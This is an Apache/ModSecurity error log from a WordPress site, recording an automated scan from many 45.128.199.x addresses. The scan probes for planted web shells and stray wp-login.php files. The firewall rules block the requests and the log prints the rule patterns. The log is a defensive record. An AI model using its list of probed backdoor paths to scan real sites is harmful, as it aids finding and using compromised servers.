[Sat Nov 22 17:40:10.480513 2025] [:error] [pid 53478:tid 53514] [client 45.128.199.152:52895] [client 45.128.199.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aSGE-ghUYdXBbQswAdTl3QAAAEU"]
[Sat Nov 22 17:40:22.306317 2025] [:error] [pid 53478:tid 53515] [client 45.128.199.176:55983] [client 45.128.199.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aSGFBghUYdXBbQswAdTl7AAAAEY"]
[Sat Nov 22 17:40:23.326222 2025] [:error] [pid 44259:tid 44271] [client 45.128.199.170:64915] [client 45.128.199.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/wp-login.php"] [unique_id "aSGFB3Xe1xL-_YOdRmRTjQAAAYk"]
[Sat Nov 22 17:40:32.383162 2025] [proxy_fcgi:error] [pid 53566:tid 53577] [client 45.128.199.155:38045] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:40:36.413864 2025] [proxy_fcgi:error] [pid 53566:tid 53570] [client 45.128.199.155:38045] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:40:37.524930 2025] [:error] [pid 53566:tid 53582] [client 45.128.199.155:38045] [client 45.128.199.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/function.php"] [unique_id "aSGFFcbSHDBkRbwMbd4ZDQAAAM4"]
[Sat Nov 22 17:40:44.622779 2025] [:error] [pid 53478:tid 53514] [client 45.128.199.151:28647] [client 45.128.199.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/votes.php"] [unique_id "aSGFHAhUYdXBbQswAdTmAQAAAEU"]
[Sat Nov 22 17:40:56.853388 2025] [proxy_fcgi:error] [pid 25856:tid 25868] [client 45.128.199.160:58565] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:40:59.295600 2025] [:error] [pid 25856:tid 25858] [client 45.128.199.160:58565] [client 45.128.199.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/file.php"] [unique_id "aSGFKxsTP0wy94zKUvGmNAAAAQA"]
[Sat Nov 22 17:41:08.854665 2025] [:error] [pid 53479:tid 53550] [client 45.128.199.155:63053] [client 45.128.199.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/parx.php"] [unique_id "aSGFNG6cicFF3Aas-oR6AgAAAI4"]
[Sat Nov 22 17:41:29.214210 2025] [proxy_fcgi:error] [pid 9547:tid 9561] [client 45.128.199.172:45451] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:41:29.803418 2025] [:error] [pid 9547:tid 9577] [client 45.128.199.172:45451] [client 45.128.199.172] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/components/about.php"] [unique_id "aSGFSdClOR5qk7DoMeGaewAAAVg"]
[Sat Nov 22 17:41:32.105926 2025] [proxy_fcgi:error] [pid 9547:tid 9563] [client 45.128.199.176:21269] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:41:38.113852 2025] [proxy_fcgi:error] [pid 9547:tid 9566] [client 45.128.199.176:21269] AH01071: Got error 'PHP message: PHP Warning:  Use of undefined constant ABSPATH - assumed 'ABSPATH' (this will throw an Error in a future version of PHP) in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Warning:  require(ABSPATHwp-includes/version.php): failed to open stream: No such file or directory in /home/vetstars/public_html/wp-settings.php on line 34PHP message: PHP Fatal error:  require(): Failed opening required 'ABSPATHwp-includes/version.php' (include_path='.:') in /home/vetstars/public_html/wp-settings.php on line 34'
[Sat Nov 22 17:41:40.617934 2025] [:error] [pid 53478:tid 53517] [client 45.128.199.237:48169] [client 45.128.199.237] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "aSGFVAhUYdXBbQswAdTmLwAAAEg"]
[Sat Nov 22 17:41:56.850693 2025] [:error] [pid 53477:tid 53493] [client 45.128.199.147:53353] [client 45.128.199.147] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/item.php"] [unique_id "aSGFZH7Lu30Ku9O40aKokQAAAAw"]
[Sat Nov 22 17:42:07.978805 2025] [:error] [pid 44259:tid 44278] [client 45.128.199.209:20903] [client 45.128.199.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/.well-known/pki-validation/wp-login.php"] [unique_id "aSGFb3Xe1xL-_YOdRmRUEwAAAZA"]
[Sat Nov 22 17:42:10.026077 2025] [:error] [pid 44259:tid 44284] [client 45.128.199.209:20903] [client 45.128.199.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.209, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/classic-editor/wp-login.php"] [unique_id "aSGFcnXe1xL-_YOdRmRUFQAAAZY"]
[Sat Nov 22 17:42:10.526471 2025] [:error] [pid 44259:tid 44266] [client 45.128.199.209:20903] [client 45.128.199.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/mani.php"] [unique_id "aSGFcnXe1xL-_YOdRmRUFgAAAYQ"]
[Sat Nov 22 17:42:29.894266 2025] [:error] [pid 53479:tid 53551] [client 45.128.199.173:38475] [client 45.128.199.173] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/network.php"] [unique_id "aSGFhW6cicFF3Aas-oR6NwAAAI8"]
[Sat Nov 22 17:42:35.678114 2025] [:error] [pid 25856:tid 25863] [client 45.8.17.192:49629] [client 45.8.17.192] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aSGFixsTP0wy94zKUvGmjAAAAQU"]
[Sat Nov 22 17:42:44.044367 2025] [proxy_fcgi:error] [pid 53479:tid 53537] [client 45.128.199.152:23047] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:42:48.801525 2025] [proxy_fcgi:error] [pid 53479:tid 53540] [client 45.128.199.152:23047] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:42:51.276149 2025] [:error] [pid 53479:tid 53544] [client 45.128.199.152:23047] [client 45.128.199.152] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "aSGFm26cicFF3Aas-oR6SwAAAIg"]
[Sat Nov 22 17:42:53.242528 2025] [:error] [pid 44259:tid 44285] [client 45.128.199.205:33749] [client 45.128.199.205] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-supports/about.php"] [unique_id "aSGFnXXe1xL-_YOdRmRUMgAAAZc"]
[Sat Nov 22 17:42:59.134879 2025] [:error] [pid 44259:tid 44270] [client 45.128.199.248:51261] [client 45.128.199.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-content/wp-login.php"] [unique_id "aSGFo3Xe1xL-_YOdRmRUPgAAAYg"]
[Sat Nov 22 17:43:06.990845 2025] [:error] [pid 44259:tid 44286] [client 45.128.199.248:51261] [client 45.128.199.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/PHPMailer/file.php"] [unique_id "aSGFqnXe1xL-_YOdRmRURQAAAZg"]
[Sat Nov 22 17:43:10.985645 2025] [:error] [pid 53478:tid 53517] [client 45.128.199.185:42545] [client 45.128.199.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/xBrain.php"] [unique_id "aSGFrghUYdXBbQswAdTmVAAAAEg"]
[Sat Nov 22 17:43:12.049865 2025] [:error] [pid 53479:tid 53545] [client 45.128.199.169:62093] [client 45.128.199.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "aSGFsG6cicFF3Aas-oR6VAAAAIk"]
[Sat Nov 22 17:43:15.277114 2025] [:error] [pid 9547:tid 9575] [client 45.128.199.167:45517] [client 45.128.199.167] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aSGFs9ClOR5qk7DoMeGa1gAAAVY"]
[Sat Nov 22 17:43:26.397756 2025] [proxy_fcgi:error] [pid 44259:tid 44263] [client 45.128.199.164:57401] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:43:28.891897 2025] [:error] [pid 44259:tid 44283] [client 45.128.199.164:57401] [client 45.128.199.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/dist/widgets/about.php"] [unique_id "aSGFwHXe1xL-_YOdRmRUWwAAAZU"]
[Sat Nov 22 17:43:33.051009 2025] [proxy_fcgi:error] [pid 25856:tid 25870] [client 45.128.199.209:48273] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:43:57.115171 2025] [:error] [pid 25856:tid 25875] [client 45.128.199.209:48273] [client 45.128.199.209] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/radio.php"] [unique_id "aSGF3RsTP0wy94zKUvGmwwAAARE"]
[Sat Nov 22 17:44:15.545188 2025] [:error] [pid 53479:tid 53545] [client 45.128.199.169:59777] [client 45.128.199.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php"] [unique_id "aSGF726cicFF3Aas-oR6egAAAIk"]
[Sat Nov 22 17:44:24.698559 2025] [:error] [pid 9547:tid 9568] [client 45.128.199.174:32083] [client 45.128.199.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aSGF-NClOR5qk7DoMeGbCgAAAU8"]
[Sat Nov 22 17:44:27.804314 2025] [:error] [pid 53478:tid 53509] [client 45.128.199.161:37693] [client 45.128.199.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/fonts/index.php"] [unique_id "aSGF-whUYdXBbQswAdTmfgAAAEA"]
[Sat Nov 22 17:44:43.285305 2025] [:error] [pid 9547:tid 9573] [client 45.128.199.175:40827] [client 45.128.199.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/plugins/compat3x/css/index.php"] [unique_id "aSGGC9ClOR5qk7DoMeGbIQAAAVQ"]
[Sat Nov 22 17:44:45.652083 2025] [:error] [pid 44259:tid 44277] [client 45.128.199.158:39479] [client 45.128.199.158] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aSGGDXXe1xL-_YOdRmRUqAAAAY8"]
[Sat Nov 22 17:44:47.698367 2025] [:error] [pid 9547:tid 9568] [client 45.128.199.246:52983] [client 45.128.199.246] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/random_compat/about.php"] [unique_id "aSGGD9ClOR5qk7DoMeGbJgAAAU8"]
[Sat Nov 22 17:45:45.638278 2025] [proxy_fcgi:error] [pid 53479:tid 53554] [client 45.128.199.198:55957] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:45:48.283037 2025] [:error] [pid 53479:tid 53547] [client 45.128.199.198:55957] [client 45.128.199.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aSGGTG6cicFF3Aas-oR6vwAAAIs"]
[Sat Nov 22 17:46:10.226227 2025] [:error] [pid 44259:tid 44270] [client 45.128.199.168:47385] [client 45.128.199.168] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/fonts/css.php"] [unique_id "aSGGYnXe1xL-_YOdRmRVRwAAAYg"]
[Sat Nov 22 17:46:35.849123 2025] [:error] [pid 53477:tid 53485] [client 45.128.199.198:53779] [client 45.128.199.198] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wso112233.php"] [unique_id "aSGGe37Lu30Ku9O40aKpDQAAAAQ"]
[Sat Nov 22 17:46:36.835504 2025] [:error] [pid 9547:tid 9554] [client 45.128.199.153:45613] [client 45.128.199.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/shell20211028.php"] [unique_id "aSGGfNClOR5qk7DoMeGbhQAAAUE"]
[Sat Nov 22 17:46:44.387858 2025] [:error] [pid 53479:tid 53548] [client 45.128.199.204:25791] [client 45.128.199.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/dropdown.php"] [unique_id "aSGGhG6cicFF3Aas-oR68gAAAIw"]
[Sat Nov 22 17:46:47.489207 2025] [:error] [pid 53477:tid 53487] [client 45.128.199.195:37635] [client 45.128.199.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/repeater.php"] [unique_id "aSGGh37Lu30Ku9O40aKpEAAAAAY"]
[Sat Nov 22 17:47:16.083630 2025] [:error] [pid 44259:tid 44276] [client 45.128.199.156:20287] [client 45.128.199.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/test.php"] [unique_id "aSGGpHXe1xL-_YOdRmRWPwAAAY4"]
[Sat Nov 22 17:47:18.182022 2025] [:error] [pid 44259:tid 44269] [client 45.128.199.165:40949] [client 45.128.199.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/sitemaps/providers/ultra.php"] [unique_id "aSGGpnXe1xL-_YOdRmRWQQAAAYc"]
[Sat Nov 22 17:47:21.300425 2025] [:error] [pid 53479:tid 53557] [client 45.128.199.156:52221] [client 45.128.199.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/options.php"] [unique_id "aSGGqW6cicFF3Aas-oR7CAAAAJU"]
[Sat Nov 22 17:47:26.482832 2025] [:error] [pid 53478:tid 53518] [client 45.128.199.154:54565] [client 45.128.199.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/gzdecode.php"] [unique_id "aSGGrghUYdXBbQswAdTm8wAAAEk"]
[Sat Nov 22 17:47:28.601205 2025] [:error] [pid 53478:tid 53509] [client 45.128.199.175:34767] [client 45.128.199.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes/atomlib.php"] [unique_id "aSGGsAhUYdXBbQswAdTm9gAAAEA"]
[Sat Nov 22 17:47:35.679154 2025] [:error] [pid 25856:tid 25865] [client 45.128.199.248:29359] [client 45.128.199.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/images/wp-login.php"] [unique_id "aSGGtxsTP0wy94zKUvGncgAAAQc"]
[Sat Nov 22 17:47:46.228148 2025] [:error] [pid 25856:tid 25865] [client 45.128.199.248:29359] [client 45.128.199.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/plupload/wp-login.php"] [unique_id "aSGGwhsTP0wy94zKUvGngAAAAQc"]
[Sat Nov 22 17:47:54.533460 2025] [:error] [pid 53479:tid 53537] [client 45.128.199.185:20369] [client 45.128.199.185] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/block-patterns/themes.php"] [unique_id "aSGGym6cicFF3Aas-oR7IwAAAIE"]
[Sat Nov 22 17:47:55.622368 2025] [:error] [pid 53566:tid 53588] [client 45.128.199.176:31847] [client 45.128.199.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/blocks/site-title/index.php"] [unique_id "aSGGy8bSHDBkRbwMbd4aBQAAANQ"]
[Sat Nov 22 17:47:57.619717 2025] [proxy_fcgi:error] [pid 44259:tid 44283] [client 45.128.199.164:61515] AH01071: Got error 'Primary script unknown'
[Sat Nov 22 17:47:58.127505 2025] [:error] [pid 44259:tid 44266] [client 45.128.199.164:61515] [client 45.128.199.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.128.199.164, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-admin/includes/wp-login.php"] [unique_id "aSGGznXe1xL-_YOdRmRWYAAAAYQ"]
[Sat Nov 22 17:48:00.826233 2025] [:error] [pid 44259:tid 44282] [client 45.128.199.164:61515] [client 45.128.199.164] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/wp-includes/admin-bar.php"] [unique_id "aSGG0HXe1xL-_YOdRmRWZgAAAZQ"]
[Sat Nov 22 17:48:09.590508 2025] [:error] [pid 44259:tid 44284] [client 45.128.199.176:22977] [client 45.128.199.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/plugins.php"] [unique_id "aSGG2XXe1xL-_YOdRmRWcgAAAZY"]
